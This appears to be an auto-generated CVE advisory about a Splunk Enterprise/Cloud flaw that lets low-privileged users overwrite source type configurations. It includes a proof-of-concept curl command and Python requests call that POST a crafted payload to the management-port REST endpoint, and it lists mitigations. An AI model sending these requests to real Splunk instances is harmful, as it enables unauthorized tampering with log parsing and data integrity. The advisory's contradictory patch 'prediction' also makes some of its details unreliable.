Listen to this Post
How the CVE Works
In Splunk Enterprise (versions below 9.4.2, 9.3.5, 9.2.7, 9.1.10) and Splunk Cloud Platform (versions below 9.3.2411.104, 9.3.2408.113, 9.2.2406.119), a low-privileged user without “admin” or “power” roles can manipulate system source type configurations. By sending a crafted payload to `/servicesNS/nobody/search/admin/sourcetypes/` on the Splunk management port, an attacker can create or overwrite configurations, leading to unauthorized changes in data parsing rules. This could disrupt logging integrity or enable data manipulation.
DailyCVE Form
Platform: Splunk Enterprise/Cloud
Version: <9.4.2, <9.3.5, <9.2.7, <9.1.10
Vulnerability: Privilege Escalation
Severity: Low
Date: 07/07/2025
Prediction: Patch by 08/15/2025
What Undercode Say
curl -X POST -H "Authorization: Splunk <low_priv_token>" -d '{"name":"malicious_sourcetype"}' http://<splunk_host>:8089/servicesNS/nobody/search/admin/sourcetypes/
import requests
requests.post("http://<splunk_host>:8089/servicesNS/nobody/search/admin/sourcetypes/", json={"name":"malicious_sourcetype"}, headers={"Authorization": "Splunk <low_priv_token>"})
How Exploit
- Crafted POST request to `/servicesNS/nobody/search/admin/sourcetypes/`
– Bypasses role restrictions via REST endpoint - Overwrites system source types
Protection from this CVE
- Upgrade to Splunk Enterprise 9.4.2+
- Restrict access to management port
- Audit source type configurations
Impact
- Unauthorized data parsing changes
- Log manipulation risk
- Low operational disruption
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
